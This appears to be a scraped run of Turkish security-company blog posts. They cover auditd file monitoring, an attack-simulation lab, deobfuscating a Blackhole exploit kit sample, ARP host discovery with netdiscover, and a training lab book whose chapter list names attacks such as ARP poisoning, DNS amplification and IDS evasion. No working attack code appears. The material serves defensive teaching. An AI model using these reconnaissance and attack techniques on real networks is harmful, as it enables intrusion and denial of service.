    Linux Sistemlerde Auditd Kullanarak Detaylı Sistem Denetimi

    $
    0
    0
    Sistem yöneticilerinin en çok sorduğu sorulardan biri, dosyalar üzerinde okuma yazma gibi denetimlerin nasıl kontrol edilebileceği,kritik öneme sahip dosyaları kimin değiştirdiği, üzerinde kimlerin işlem yaptığının bilinmesi ve takip edilmesidir.

    Bunun cevabı Modern Linux sistemlerle birlikte gelen “auditd daemon” ile çözüme kavuşmuştur.Görevi diske denetim kurallarını yazmaktır.Başlangıç esnasında /etc/audit.rules
    içerisinde bulunan kurallar ‘auditd daemon’ tarafınan okunur. /etc/auditd.rules dosyasını açıp üzerindeki denetim kurallarını değiştirmek,log kayıtlarını yönetmek gibi değişiklikler yapılabilir.Kurulum yapıldıktan sonra varsayılan olarak gelen ayarlar başlangıç için yeterli olacaktır.


    Denetimi kolaylaştırmak amacıyla servise ait aşağıdaki hizmetlerin bilinmesinde fayda olacaktır.
    >> auditctl : Çekirdeğin denetim sistemini kontrol etmek için yardımcı olacak bir komuttur.Bu komut ile kural eklenip silinebilir  ya da durum bilgisi alınabilir.
    >>  ausearch : Olay tabanlı ya da farklı arama kriterlerine göre log tabanlı sorgulama yapmak için kullanılabilir.
    >> aureport : Denetim loglarının raporlarını özetlemek için kullanılan bir araçtır.


    audit paketinin kurulması
    Birçok Linux çekirdeği audit rpm paketni içerir. audit paketini yüklemek için komut satırından ‘yum’ ya da ‘apt-get install’ komutları kullanılabilir.
    [root@bga ~]# yum install audit
    Loaded plugins: fastestmirror, refresh-packagekit, security


    auditd servisini başlangıçta otomatik olarak için aşağıdaki komut kullanılabilir.
    [root@bga ~]# ntsysv


    Servisi başlatmak için aşağıdaki komut çalıştırılmalıdır.
    [root@bga ~]# /etc/init.d/auditd start


    Dosyaların izlenebilmesi için servisin ayarlanması
    Bunu örnek bir komutla açıklamak gerekirse, /etc/passwd dosyasının denetlenmesi için aşağıdaki gibi örnek bir komut kullanılabilir.
    [root@bga ~]# auditctl -w /etc/passwd -p war -k password-file


    Bu komut için kullanılan parametrelerin anlamı şu şekildedir.
    • -w /etc/passwd : İzlenenecek olan dosyanın yolu (path)
    • -p war : İzlenecek olan dosya için izinleri belirler. ‘w’ yazmak için, ‘a’ ekleme yapmak için, ‘r’ ise okumak içindir.
    • -k password-file : İzlenecek olan dosya için filtreler(filterkey) ayarlamak için kullanılır.Bu komut için password-file bir filterkey’dir.
    Bu komut ile /etc/passwd dosyası üzerindeki okuma,yazma ve ekleme işlemleri izlenebilir.(sistem çağrıları dahil)


    Şimdi aşağıdaki komutları sistem üzerinde yetkisiz bir kullanıcı ile çalıştıralım ve biraz bekleyelim.
    [root@bga ~]# grep 'root' /etc/passwd
    [root@bga ~]# nano /etc/passwd


    Dosya Sistemi audit Kuralı
    /etc/shadow dosyası üzerindeki okuma,yazma,çalıştırma ve ekleme değişikliklerini kayıt altına almak için ‘shadow-file’ filtresi ile aşağıdaki komut kullanılabilir.
    [root@bga ~]# auditctl -w /etc/shadow -k shadow-file -p rwxa


    syscall audit kuralı
    Aşağıdaki kural syscall çıkışlarının izlenmesini önler.
    [root@bga ~]# auditctl -a exit,never -S mount


    pid kullanarak syscall audit kuralı
    Aşağıdaki komutta olduğu gibi ‘pid’ değerine göre kural yazılabilir.
    [root@bga ~]# auditctl -a entry,always -S all -F pid=1005


    Peki /etc/passwd dosyasına kimin eriştiğini ya da dosya üzerinde kimin değişikik yaptığı nasıl öğrenilir ?
    Bunun için ausearch komutu kullanılır.Örnek kullanım komutları aşağıdaki gibidir.


    [root@bga ~]# ausearch -f /etc/passwd
    [root@bga ~]# ausearch -f /etc/passwd | less
    [root@bga ~]# ausearch -f /etc/passwd -i | less


    • -f /etc/passwd : Sadece bu dosya üzerinde aramaya yapar.
    • -i : Metin içindeki sayısal girdileri yorumlar.uid değerini hesap ismine dönüştürür.


    Örnek bir çıktı aşağıdaki gibi olacaktır.
    type=PATH msg=audit(04/18/2014 23:58:00.631:5249) : item=0 name=/etc/passwd inode=653834 dev=fd:00 mode=file,644 ouid=root ogid=root rdev=00:00 obj=system_u:object_r:etc_t:s0 nametype=NORMAL
    type=CWD msg=audit(04/18/2014 23:58:00.631:5249) :  cwd=/root
    type=SYSCALL msg=audit(04/18/2014 23:58:00.631:5249) : arch=x86_64 syscall=open success=yes exit=4 a0=7fe34326969a a1=80000 a2=1b6 a3=0 items=1 ppid=21315 pid=21324 auid=cihat uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts1 ses=775 comm=ausearch exe=/sbin/ausearch subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=password-file
    Peki bu çıktı nasıl yorumlanmalıdır ?

    • audit(04/18/2014 23:58:00.631:5249): Log kaydının zamanı
    • uid=root gid=root : Kullanıcı id değerinin sayısal formatıdır. -i parametresi ile sayısal değer hesap ismine dönüştürülebilir.Bu şekilde okunması ve yorumlanması daha kolay olacaktır.
    • comm=ausearch exe= Dosyaya erişmek için kullanılan komutu gösterir.
    Log dosyasından da anlaşılacağı üzere, hangi kullanıcının dosya üzerinde grep ile  okuma yaptığı ya da bir metin editörü ile dosya üzerinde yazma işlemi gerçekleştirdiği açıkca görülmektedir.
    Bu şekilde kullanmak bir log yığını oluşturacağından komuta ait man sayfası okunarak daha anlaşılır formatta loglar üretilebilir.


    Log kayıtlarını incelerken daha spesifik aramalar yapmak mümkündür.Örneğin belirli bi tarihe ait log kaydına bakmak ya da bugünün log kayıtlarını çıkarmak için aşağıdaki gibi komutlar kullanılabilir.
    [root@bga ~]# ausearch -ts today -k password-file
    [root@bga ~]# ausearch -ts 3/12/07 -k password-file


    Bir diğer arama şekli ise -x parametresi ile çalıştırılan komuta göre arama yapmaktır. Örneğin hangi kullanıcının ‘rm’  komutunu kullanarak /etc/passwd dosyasına erişmeye çalıştığını görmek için aşağıdaki gibi bir komut kullanılabilir.
    [root@bga ~]#  ausearch -ts today -k password-file -x rm
    [root@bga ~]#  ausearch -ts 3/12/07  -k password-file -x rm


    Kullanıcı id değerine göre arama yapmak için ise aşağıdaki gibi bir komut kullanılabilir.
    [root@bga ~]#  ausearch -ts today -k password-file -x rm -ui 500
    [root@bga ~]#  ausearch -ts 3/12/07  -k password-file -x rm -ui 500

    Bu yazı Linux AKADEMİ blog sayfasından alınmıştır http://www.linuxakademi.com.tr/linux-audit-derinlemesine-sistem-denetimi/ 

    BGA Siber Saldırı & Savunma Simulasyon Laboratuvarı

    $
    0
    0
    Tek başına teorik bilginin işe yaramadığı önemli alanlardan birisi Siber Güvenliktir. Siber güvenlikte diğer alanlardan farklı olarak mücadeleyi genellikle sizden daha iyi olan ve meslek olarak varlık sebebiniz olan siber saldırganlara karşı yaparsınız. Siber saldırgan için tüm internet altyapısı lab olarak kullanılabileceği için pratik yapma ve öğrendiklerini uygulama için ek uğraşlara girmesine gerek yoktur. İşin savunma tarafındaki uzmanlar için ise her çıkan güvenlik zafiyetinin istismar edilmesi ve korunma yöntemleri için gerçek uygulama ve sistemleri içeren bir lab ortamına ihtiyaç vardır.

    BGA olarak hem gerçekleştirdiğimiz eğitimlerde katılımcılarımızın olabildiğince gerçek hayat senaryoları ile çalışmalarını sağlamak hem de sızma testi ve olay müdahele ekibimizin gerçek sistemler üzerinde pratiğini arttırmak amacıyla Siber saldırı ve savunma lab'i kurma çalışmalarına başladık. İlkini İstanbul'da hayata geçirdiğimiz lab sisteminin ikincisi Ankara ofisimizde bu yıl içerisinde kurulacaktır. Lab sistemleri BGA'dan eğitim alan ve BGA danışmanlık hizmetleri için anlaşmamız bulunan tüm müşterilerimiz için ücretsiz olarak kullanıma hazır olacaktır. Hem uzaktan VPN aracılığıyla hem de BGA Ankara/İstanbul ofisleri hafta sonları dahil önceden randevu almak suretiyle kullanılabilecektir.

    Lab kurulumunda ana amacımız her geçen gün yenilenen siber saldırılara karşı bir laboratuvar ve simulasyon ortamı oluşturmaktır. Hazırlanan laboratuvar ortamında internet ortamında çıkmış hemen her siber saldırı yöntemi ve tekniği uygulanabilmektedir.


    Sadece ilgili yazılım, donanım ve sistemlerin kurulumunu içermek yerine BGA olarak gerçekleştirdiğimiz sızma testi ve olay analizi çalışmalarını anonim bir şekilde lab ortamına entegre etmekteyiz. Bir banka ya da bir SCADA ortamında bulunabilecek tüm bileşenler lab ortamında yer aldığı için çok kısa sürelerde senaryo oluşturup sanal sistemlerle gerçeğiyle birebir aynı lab ortamını hazır edebilmek amacımız.

    Aşağıda örnek bir banka ağına ait lab çizimi gösterilmektedir.


    BGA lab kurulumunda edindiğimiz tecrübeyi isteyen kurumlara özel kurulum ve yapılandırma sağlayacak şekilde sunmaktayız. Özellikle kendi sızma testi ekibini ya da siber güvenlik ekibini barındırmak isteyen kurumların bu hizmetten faydalanarak benzeri lab ortamını kurması elzemdir. Konu hakkında detay bilgi ve iletişim icin bilgi@bga.com.tr adresine e-posta gönderebilirsiniz.

    Lab ortamında kullandığımız bazı sistemler ve bilgileri aşağıda yer almaktadır.

    Ağ ve Güvenlik Sistemleri
    • Cisco  7200 serisi router
    • Cisco (http://software.cisco.com/download/release.html?mdfid=284364978&flowid=39582&softwareid=282046477&release=3.9.0aS&relind=AVAILABLE&rellifecycle=ED&reltype=latest)
    • Farklı marka ve modellerde Wifi Access Point
    • Checkpoint Firewall / IPS 1
    • Pfsense Firewall
    • Iptables Firewall
    • Snort Saldırı Tespit ve Engelleme Sistemi
    • Suricata IDS/IPS  (http://suricata-ids.org/download/)
    • Palo Alto NGX Firewall / IPS
    • Fortinet Firewall/IPS
    • Netscreen IDP
    • Juniper SRX
    • Barracuda WAF (https://www.barracuda.com/purchase/evaluation/product/bwfv)
    • Modsecurity WAF (http://www.modsecurity.org/download/ )
    • Citrix Netscaler (https://store.citrix.com/store/citrix/en_US/DisplayThreePgCheckoutAddressPaymentInfoPage/ThemeID.28169600 )
    • F5 Load balancer/WAF modülü (https://www.f5.com/trial/big-ip-ltm-virtual-edition.php)
    • Microsoft URLScan WAF modülü
    • FortiWEB
    • Kfsensor Honeypot
    • Farklı firmalara ait VOIP  sistemleri / soft phone uygulamaları
    • FreePBX
    • 3CX PBX/PABX
    • Cuckoo- Malware Analizi amaçlı (http://www.cuckoosandbox.org/download.html)
    • Remnux
    • Mobisec (http://sourceforge.net/projects/mobisec/)
    • OSSIM (http://downloads.alienvault.com/c/download?version=current_ossim_iso)
    • Merkezi Log Yönetim Sistemi (Logstash+Kabana+Elasticsearch)
    • OpenDLP
    • Packetfence - Open source NAC
    • Honeydrive - Honeypot


    Veritabanı Sistemleri


    • Mysql  Windows(Birden fazla sürüm aynı sistem üzerinde farklı portlarda çalışacak şekilde kurulacak)
    • Mysql  Linux(Birden fazla sürüm aynı sistem üzerinde farklı portlarda çalışacak şekilde kurulacak)
    • Oracle (Windows)
    • Oracle ( Linux )
    • MS Sql Server (2005, 2008...)
    • Postgresql (Farklı sürümlerde Windows )
    • Postgresql (Farklı sürümlerde Linux )
    • Firebird (farklı sürümler Windows ve Linux)
    • Sybase (windows)
    • Nosql (Hadoop ve Hbase)


    Microsoft İşletim Sistemleri
    • Active Directory (2008 ve 2012 olacak iki farklı sürüm)
    • Microsoft Exchange (Farklı versiyonlar)
    • Windows XP (SP0, SP1, SP2, SP3)
    • Windows 7 (SP2)
    • Windows 8
    • Windows 2000, Windows 2003, Windows 2008, Windows 2012 ( SP li versiyonları ile)


    Kurumsal Ortamlarda Kullanılan App. Serverlar


    Vulnerable VM Sistemleri


    UNIX/Linux İşletim Sistemleri(Dağıtımları)
    • FreeBSD (8.0, 8.2, 9.0)
    • OpenBSD 4.6
    • Linux (farklı kernel seviyelerinde 6 farklı dağıtım: Fedora, Redhat ,Debian, Ubuntu, Gentoo, Suse, Selinux)
    • MacOSX (farklı sürümler)
    • Android (Mobil Sistemler, farklı versiyonlarda)
    • Solaris UNIX


    Ağ Hizmetleri
    • DNS Hizmeti (Bind, Windows, NSD)
    • E-posta servisi (Postfix, Exim, Hmail)
    • FTP servisi (Filezilla, vsftpd, Microsoft FTP, UNIX Standalone ftp, Anonim ftp)
    • VPN (SSL, ipsec, pptp, l2tp)
    • Web Servisi


    İstemci Uygulamaları
    • Java (Farklı sürümlerde 8 adet)
    • PDF (farklı sürümlerde 4 adet)
    • Flash(Farklı sürümlerde 3 adet)
    • Internet Explorer (Farklı sürümlerde 7 adet)
    • Firefox (farklı sürümlerde 5 adet)


    Blogging/Content Management Systems
    • Wordpress (farklı sürümler ve farklı eklentileri barındıracak şekilde)
    • Joomla (farklı sürümler ve farklı eklentileri barındıracak şekilde)
    • Drupal (farklı sürümler ve farklı eklentileri barındıracak şekilde)
    • Exploit-db’de yer alan zafiyet içeren CMS yazılımları (100 adet)


    Bilinen 10 AV Programı ve HIPS Yazılımı


    • McAfee
    • Symantec
    • Kaspersky
    • Bitdefender
    • Trend Micro
    • Eset Nod32
    • Avira
    • AVG
    • Microsoft Security Essentials
    • FortiClient


    Main Frame Simulator

    • Hercule - Main frame simulator

    BGA, BGAPRO Ankara Ofisi Yeni Adresine Taşındı

    $
    0
    0
    Ankara'da sunduğumuz Bilgi Güvenliği danışmanlık, eğitim ve destek hizmetleri için genişleyen ekibimizle birlikte yeni adresimize taşındık. Bilgi Güvenliği ve Linux AKADEMİ eğitimleri artık aşağıda bilgileri yer alan adreste gerçekleştirilecektir.

    Ceyhun Atuf Kansu Caddesi Gözde Plaza İş Merkezi Kat:5 No:130/72 BALGAT ÇANKAYA/ANKARA (MHP Genel Merkez Binası ile Yargıtay Binası arası)

    Yeni ofisimizden birkaç resim,






    Karmaşıklaştırılmış (Obfuscated) Javascript Analizi

    $
    0
    0
    Sıklıkla karşılaşılan istismar senaryolarından biri olan HTML dokümanlarında veya PDF dosyalarındaki gömülü Javascipt kodlarını sadece JS bilgisi kullanarak analiz etmek genelde mümkün olmamaktadır. Genelde zararlı JS kodları amaçlarını gizlemek adına obfuscation denilen kodu okunamaz hale getirme yöntemleri uygulanmış olarak bulunur. Bu da kodu tekrar okunabilir hale getirme (deobfuscation) ihtiyacını doğurur. 

    Yazıda ünlü Blackhole istismar kitinin bir türevini okunabilir hale getirme senaryosu üzerinden JSDetox ve JS-beautify yazılımlarının JS deobfuscation amaçlı kullanımı anlatılmıştır.
    Kullanılan Araçlar:
    • Blackhole Exploit Kit Örneği (e1ab25769040b66e644f0184a541821f19946bcd094bef2bb69762511eeeed9e)
    • JSDetox
    • JS-beautify


    Obfuscation işlemi uygulanarak okunması zorlaştırılan Javascript kodlarını analiz etmeye yarayan jsdetox uygulaması çalıştırılır. Kurulum aşamalarıyla uğraşmamak için REMnux 5 dağıtımı kullanılabilir. REMnux’te JSDetox’u çalıştırmak için terminalden şu komutlar girilir.

    cd /usr/local/jsdetox/
    ./jsdetox
    Beklenen çıktı aşağıdaki gibidir.

    [JSDetox] Loading framework ... done.
    [JSDetox] Starting webserver (hit Ctrl-C to quit) ...
    => Padrino/0.10.7 has taken the stage development at http://127.0.0.1:3000
    [2014-05-27 17:25:46] INFO  WEBrick 1.3.1
    [2014-05-27 17:25:46] INFO  ruby 1.9.2 (2011-07-09) [i686-linux]
    [2014-05-27 17:25:46] INFO  WEBrick::HTTPServer#start: pid=1668 port=3000

    Çıktıda da gözüktüğü üzere tarayıcıdan http://127.0.0.1:3000 adresine bağlanarak JSDetox’un web arayüzüne erişilir.

    Eğer analiz edilecek doküman sadece JS kodlarından oluşuyorsa “Code Analysis” sekmesindeki aksi halde “HTML Document” sekmesindeki “Upload” tuşu kullanılarak doküman yüklenir. İçeriği doğrudan textarea alanına yapıştırmak da mümkündür. Örnek dosya HTML dokümanı olduğu için ilgili sekmedeki “Extract Scripts” butonuna basılarak JS kodları dışındaki kodlar ayıklanır.  “Analyze” tuşuna basıldığında anlamsız gözüken uzun bir bloğun ardından çalıştırılabilir durumdaki JS kodları görülür.

    Selection_001.png

    Bu bölümün deobfuscation işlemini yapan bölüm olduğu varsayımı yapılabilir.

    Daha sonra sayfanın sol tarafındaki “Execute eval() statements” seçeneği işaretlenip JSDetox’un eval fonksiyonlarını çalıştırması sağlanıp “Execute” tuşuna basılır. Bu sayede kodun  çalışma anında yaptığı gibi kendini deobfuscate etmesi sağlanır. Execute sekmesine gelindiğinde birçok kez “eval” fonksiyonunun çağırıldığı görülür. Genelde açma işlemi tamamlandıktan sonra esas işlevleri gerçekleştirecek olan kod en sondaki “eval” fonksiyonunun parametresi olarak bulunabilir. Bu bölümü analiz etmek için de listeden son “eval() call executed” uyarısının “Show Code” tuşuna tıklanıp “Send to Analyze” denilir. Bu sayede ilgili kod analiz ekranında görülür.

    Selection_004.png

    “Reformat” butonuna basılarak kod daha okunaklı hale getirilir. Örnekte bu işlem hata ile sonuçlanacaktır, bir sebepten JSDetox bu kodu parse edememektedir. Bu durumda mevcut diğer araçlarla devam etmek en pratik seçenek olacaktır.

    Son olarak kısmen deobfuscate edilmiş edilmiş kod bir dosyaya kaydedilir (tmp.js) ve JS-beautify uygulaması ile tam okunaklı hale getirilir. Bunun için terminalden
    js-beautify tmp.js > deobfuscated.js
    komutu girilir.

    Artık deobfuscated.js dosyası bir metin düzenleyici ile açılarak içeriği rahatlıkla analiz edilebilir. Bu analizden istismar edilmeye çalışılan zafiyetler, kullanılan shellcode, sisteme yüklenmek istenen zararlı ve benzeri detaylar elde edilebilir.

    Selection_005.png

    Yerel Ağda IP-MAC Adreslerinin Bulunması- Netdiscover

    $
    0
    0
    Yerel ağların oluşturulmasında en çok kullanılan ağ arayüzü Ethernet' tir. Ethernet arayüzleri birbirlerine veri paketi göndermeleri için, kendilerine üretim sırasında verilen fiziksel adresleri kullanırlar; 48 bit olan bu arayüzlerin ilk 24 biti üreticiyi belirtir ve 48 bitlik blok eşsizdir. TCP/IP protokolünün kullanıldığı ağlarda 32 bit olan IP adresi kullanılır. Fiziksel katmanda Ethernet arayüzü kullanılıyorsa, IP adresten fiziksel adrese dönüşüm işinin yapılması gerekir. Bunun için sistemlerde Adres Çözümleme Protokolü olan ARP( Address Resolution Protocol ) ve ARP tabloları kullanılır.

    Netdiscover Aracı ile Yerel Ağda IP-MAC  Adreslerinin Bulunması
    Netdiscover aracı yerel ağda router veya switch gibi davranan basit bir araçtır. Yerel ağda gönderdiği ARP paketleri ile MAC adreslerine karşılık gelen IP adreslerini bulmaya çalışır.Bu araç sayesinde yerel ağda MITM veya başka bir atak gerçekleştirmeden önce hedef sistemlerin IP adresleri kolayca elde edilebilir.
    Netdiscover aracını kullanmadan önce Wireshark ile normal bir yerel ağ trafiği incelendiğinde aşağıdaki gibi bir durum görünmektedir.
    Burada normal bir internet trafiğine ait paketler ve ilgili protokoller açıkça görülebilir. Biz daha çok yerel ağdaki durumla ilgilendiğimiz için burada protokol filtrelemesi yaparak sadece ARP paketlerini aşağıdaki gibi görebiliriz.




    Burada basit bir ARP trafiği görünmektedir ve iletişime geçen IP-MAC adres eşlemeleri kolayca bulunabilir.Daha yoğun bir trafiğin olduğu ortamlarda  ise wireshark ile trafik analizi yapmak çok zahmetli ve vakit alıcı olacaktır. Bunun için yerel ağdaki herkesin IP ve MAC adresini öğrenmek için
    Netdiscover aracını kullanmanız size zaman kazandıracaktır ve daha anlaşılır sonuçlar üretecektir.

    Kali Linux işletim sisteminde Netdiscover aracını çalıştırmak için Kali Linux Menu–> Information Gathering –> Live Host Identification –>Netdiscover menüleri takip edilerek araç çalıştırılabilir.


    Yada kısaca terminal üzerinden netdiscover yazarak da  aracı çalıştırabilirsiniz. Araç çok karmaşık bir yapıya sahip değildir. Help menüsünden parametrelerine bakabilir ve kolaylıkla kullanabilirsiniz.


    Aracı temel olarak kullanmak için -r parametresi ile taranmak istenen alt ağı, -i parametresi ile de dinlenecek olan ağ arayüzünü vermeniz yeterlidir.
    Aşağıdaki örnekte 192.168.0.0/24 altağına ait bir tarama yapılmıştır. Yapılan tarama sonucunda ise yerel ağdaki açık makineler listelenmiştir.Çalıştırılan komut;


    #netdiscover -i eth0 -r 192.168.0.0/24



    Referanslar :
    http://ultimatepeter.com/using-netdiscover-arp-to-find-lan-ip-and-mac-addresses/

    Uygulamalı Ağ Güvenliği ve TCP/IP Eğitimi Lab Kitabı [yeni]

    $
    0
    0

    Bilgi Güvenliği AKADEMİSİ olarak verdiğimiz eğitimlerde uygulamaya özel önem veriyoruz. Güvenlik gibi karmaşık bir konu detaylı uygulamalar gerçekleştirmeden anlatıldığında konuya yabancı olan katılımcılar tarafından tam olarak anlaşılamamaktadır. Eğitim notlarına destek olmak amacıyla başlattığımız lab çalışmalarını içeren kitapçık çalışmalarını uzun süre önce başlamıştık.

    Bu konuda ilk kitap çalışmamız olan  Beyaz Şapkalı Hacker eğitimi Lab kitapçığını 2013 yılı başlarında öğrencilerimizin kullanımına sunmuştuk (Detaylarına http://blog.bga.com.tr/2013/01/beyaz-sapkal-hacker-egitimi-lab-kitapcg.html adresinden erişilebilir)
    Yeni dönem eğitimlerinde Uygulamalı Ağ Güvenliği Lab Kitabı Çalışması, İleri Seviye Ağ Güvenliği Eğitimi Lab Kitabı, Sertifikalı Ağ Güvenliği Eğitimi Lab Kitabı, Malware Analizi Eğitimi Lab Kitabı, Network Pentest Eğitimi Lab Kitabı, DDoS Eğitimi Lab Kitabı hazırlıklarımız hızlı bir şekilde devam etmektedir. Bunlar arasında içeriğini tamamladığımız Uygulamalı Ağ Güvenliği Eğitimi Lab Kitabını bir ay içerisinde katılımcılarımızla paylaşıyor olacağız.


    BGA ekibinden Cihat IŞIK ve Huzeyfe ÖNAL tarafından hazırlanan ~350 sayfalık aşağıdaki içeriğe sahip Uygulamalı Ağ Güvenliği ve TCP/IP Eğitimi  Lab Kitabı'nı ücretsiz edinmek için daha önce BGA tarafından açılmış Uygulamalı Ağ Güvenliği eğitimine katılmış olmanız yeterlidir.

    Kitapçığı edinmek için egitim@bga.com.tr adresine kitabı istediğinize dair bir e-posta göndererek BGA İstanbul  ve Ankara ofislerinden 5 Temmuz 2014 itibariyle  teslim alabilirsiniz. Kargo ile gönderim yapılmamaktadır.

    Uygulamalı Ağ Güvenliği Eğitimi  Lab. Kitabı Konu Başlıkları


    1. İşletim Sistemlerinde Dinamik ve Statik ARP Kayıtları
    2. Yerel Ağlarda Sahte ARP Paketleri Üreterek DoS Gerçekleştirme
    3. MAC Flood Saldırısı Gerçekleştirerek Switch CAM Tablosu Doldurma
    4. Cain&Abel Kullanarak ARP Cache Poisoning Saldırısı
    5. Snort, Arpwatch ve Xarp kullanarak arp spoof ve MITM saldırılarını engelleme
    6. IP Spoofing Örnekleri
    7. Sahte IPv4 TCP Paketi Üretimi
    8. Sahte UDP Paketi Üretimi
    9. IP Adresinin Sahibinin Bulunması
    10. Parçalanmış IP Paketleri Kullanarak Port Tarama
    11. Parçalanmış IP Paketleri Kullanarak IDS Atlatma
    12. Parçalanmış IP Paketleri Kullanarak L7 Firewall Atlatma
    13. TCP ve UDP Paketleri Kullanarak Traceroute Çalışması
    14. IP Saklama Amaçlı TOR ve Proxy Kullanımı
    15. İsteğe Göre ICMP Paketi Üretimi
    16. ICMP Tunelling (ICMP Üzerinden TCP/HTTP Paketleri Geçirme)
    17. ICMP Smurf Denial of Service Saldırısı Gerçekleştirme
    18. ICMP Redirect ile L3 Seviyesinde Araya Girme Saldırısı
    19. ICMP Üzerinden Uzaktan Telnet/SSH Benzeri Sistem Yönetimi
    20. ICMP Flood DDoS Saldırısı Gerçekleştirme
    21. TCP Üzerinden DoS/DDoS Saldırıları Gerçekleştirme
    22. Gerçek/sahte IP Adresleri Kullanarak SYN Flood Saldırısı Gerçekleştirme
    23. Gerçek/sahte IP Adresleri Kullanarak FIN Flood Saldırısı Gerçekleştirme
    24. TCP Connection Flood Saldırısı Gerçekleştirme
    25. TCP Protokolü Kullanarak Port Tarama Yöntem ve Araçları
    26. UDP Protokolü Kullanarak Port Tarama Çeşitleri
    27. İsteğe Göre TCP Bayraklı Paket Üretimi
    28. TCP ve UDP arasındaki temel farkın gösterilmesi (Netcat kullanarak)
    29. SYNCookie ve SYNProxy Kullanarak SYN flood saldırılarını Engelleme
    30. SYNProxy Kullanılan Sistemlere Yönelik Port Tarama
    31. TCP Protokolünde IP Spoofing Kontrolü
    32. Sahte DHCP Sunucu Kullanarak MITM Saldırısı
    33. DHCP Flood DoS Saldırısı
    34. DNS Sorgulamaları için Dig Kullanımı
    35. DNS Üzerinden Trace Çalışmaları
    36. 512 Byte Üzeri DNS Paketlerinin TCP’e Çevrilmesi
    37. DNS Sunucu Versiyon Belirleme
    38. DNS Zone Transferi ile Alt Domain Adreslerinin Bulunması
    39. DNS Alt Domain Adreslerini Brute Force Denemeleriyle Bulma
    40. DNS Tunneling - DNS Protokolü Üzerinden TCP/HTTP Paketleri Tünelleme
    41. Metasploit Kullanarak DNS Cache Poisoning Saldırısı
    42. DNS Cache Snooping
    43. Sahte Alan Adları Kullanarak DNS Flood DDoS Saldırısı
    44. Amplified DNS DDoS Saldırısı
    45. Pratik Tcpdump Sniffer Kullanımı
    46. Tshark Kullanarak İleri Seviye Paket Analizi
    47. Paket/Protokol Analizi Amaçlı Wireshark Kullanımı
    48. Wireshark Örnek Paket Analizleri
    49. Ağ Trafiğinden Veri Ayıklama (Network Forensics-1)
    50. Ağ Trafiği İçerisinde Kelime Yakalama
    51. Ngrep Kullanarak Ağ Trafiğinde Tünelleme Yazılımlarını Belirleme
    52. SSL Trafiğinde Paket Analizi
    53. Şifreli Protokollerde Araya Girme
    54. Sertifika Otoritesi Oluşturma
    55. Herkese Açık Ortamlarda Paylaşım Amaçlı Paket Anonimleştirme
    56. Nmap, Unicornscan ve Hping ile Performans Testleri
    57. Paket Analizi, Protokol Analizi Kavramları
    58. Yerel Ağda Kullanılan Protokol Oranlarını Belirleme
    59. Web Sunuculara  Yönelik Performans (Gecikme) Ölçümü
    60. Yerel Ağlarda Kullanılmayan IP Adreslerinin Tespiti  
    61. Arping Kullanarak L2 Seviyesinde Paket İşlemleri
    62. DNS Protokolunde Sorun Giderme
    63. MiTM Saldırılarını Çift Yönlü Engelleme
    64. Tcpdump Aracınının Saldırı Tespit Amaçlı Kullanımı  
    65. Web Sunuculara Yönelik DdoS Saldırıları ve TCP Oturum Detayları
    66. Yerel Aglarda Sniffer  Tespit Çalışmaları
    67. Kaydedilmiş Trafiğin Tekrar Oynatılması– Tcpreplay
    68. Web sunuculara yönelik performans/DoS testleri
    69. Medusa – Ağ Servislerine Yönelik Kaba Kuvvet Parola Test Aracı
    70. Birden Fazla Alan Adı Için Tek Sertifika Kullanımı
    71. NTP Servisi Kullanarak Gerçekleştirilen Amplification DDoS Saldırıları
    72. Sızma Testlerinde ICMP Üzerinden Shell Alma
    73. Snort Kullanarak Zararlı Yazılım Tespiti
    74. Zararlı Yazılım Trafiğinin Sahte Servislerle Yönetimi
    75. Ağ Tabanlı Saldırılara Karşı Aktif Defans
    76. Zarp Kullanarak TCP/IP Protokol Zafiyetlerinin İstismarı
    77. Port Taramalarında Ağ Tabanlı Atak Önleme Sistemlerini Şaşırtma
    78. DoS/DDoS Testlerinde Dikkat Edilmesi Gereken Hususlar
    79. DDoS Forensics:DDoS Saldırılarında Sahte IP Kullanımı Belirleme
    80. Nping Kullanarak TCP Connection Flood DoS/DDoS Testleri
    81. Intrusion Prevention System Stateful Signature Inspection Testleri
    82. Hping Kullanarak URPF Korumalı Ağlarda IP Spoofing
    83. Günümüz Internet Dünyasında IP Spoofing
    84. DDOS Engellemede DFAS Yöntemi
    85. SSH Tünel Üzerinden Port Tarama
    86. Tek Port Üzerinden HTTPS, SSH, OpenVPN Servislerinin Hizmet Vermesi

    Web Uygulama Güvenlik Testleri Eğitimi / 20-22 Haziran 2014

    $
    0
    0

    Eğitim Açıklaması

    Web Application Pentest(Web Uygulamaları Güvenlik Denetimi Eğitimi) günümüz bilişim güvenliğinin en zayıf halkalarından olan web uygulamalarının güvenliğinin hacker bakış açısıyla test edilmesini amaçlayan uygulamalı eğitimdir. Eğitim boyunca katılımcılar farklı platform ve programlama dilleri kullanılarak geliştirilmiş çeşitli yazılımlardaki güvenlik zafiyetlerinin nasıl bulunacağını ve istismar edileceği konusunda pratik yapma fırsatı bulacaktır.
    Eğitim tamamen uygulamalı bir şekilde işlenmektedir ve eğitim süresince katılımcılara açık kaynak kodlu ve ticari çeşitli web güvenlik test araçlarını kullanma imkanı sunulmaktadır.

    Eğitim Tarihleri

    20-22 Haziran 2014

    Eğitim Ücreti & Kayıt

    Eğitim ücreti ve kayıt için egitim@bga.com.tr adresine "2014-WPT-2 Egitimi Ucret Bilgisi/Kayit" konulu e-posta gönderiniz.

    Kimler Katılmalı

    Bu eğitim, IT güvenlik görevlileri, denetçiler, güvenlik uzmanları, site yöneticileri ve ağ altyapı bütünlüğü konusunda çalışmalar yapan herkes için önemli ölçüde yarar sağlayacaktır.

    Ön Gereksinimler

    Temel HTML Bilgisi

    Eğitim Süresi

    3 Gün

    Sertifika

    Eğitime katılanlara, BGA tarafından katılım sertifikası verilecektir.

    Eğitim İçeriği

    Bilgi Güvenliğinde Sızma Testleri ve Önemi
    • Sızma testi çeşitleri
    • Web Uygulamalarına yönelik sızma testleri
    • Uygulama güvenliği  farkları
    • Uygulama güvenliği test araçları
    • Burp, Owasp Zap, Webscarab ...
    • Web Güvenlik Testlerinde kullanılan Firefox eklentileri
    • Otomatize Güvenlik Tarama Araçları
    • Web Güvenlik testleri için lab. ortamları
    • OWASP BWPA, DVWA
    Klasik Bir Network Pentest Senaryosu
    • Temel Nmap, Nessus, Metasploit Kullanımı
    • Port Tarama Çeşitleri ve zafiyet tarama
    • Network pentest, Web pentest kesişim noktaları
    • Jboss, Apache Tomcat gibi uygulamaların zafiyetleri
